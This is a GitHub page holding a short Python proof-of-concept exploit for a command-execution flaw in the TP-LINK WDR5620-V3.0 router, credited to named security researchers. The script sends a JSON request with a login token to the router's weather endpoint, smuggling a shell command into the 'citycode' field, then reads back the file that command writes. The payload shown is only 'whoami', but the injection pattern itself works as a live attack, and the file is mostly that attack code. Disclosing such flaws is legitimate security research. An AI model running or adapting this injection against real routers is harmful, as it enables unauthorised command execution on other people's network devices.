afang5472 adding discoverer — Latest commit 21b34b2 on 19 Jan 2019 History

1 contributor

33 lines (26 sloc) | 1.05 KB — Raw Blame

```
#!/usr/bin/python
#this is a POC for TP-LINK WDR5620-V3.0 Command Execution Vulnerability.

#discoverer: Zhiniang Peng from Qihoo 360 Core Security & Fangming Gu

from requests import *

ip      = "192.168.1.1"
url     = "tplogin.cn"
header  = {"Host": "192.168.1.1",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/json; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",}
stok = "AAAA" # stok is login token
path = "/web-static/test"

def exec_command():

        global stok
        global header
        global ip
        global url
        header['Host'] = ip
        data = '{"weather":{"get_weather_observe":{"citycode":"1;'+"whoami>/www/web-static/test"+';","new_pwd":"aaaaa"}},"method":"do"}'
        target_url = "/" + "stok=" + stok + "/ds"
        r = post("http://" + ip + target_url,headers=header,data=data)
        response = get("http://" + ip + path, headers = header)
        print response.content

if __name__ == '__main__':

        exec_command()
```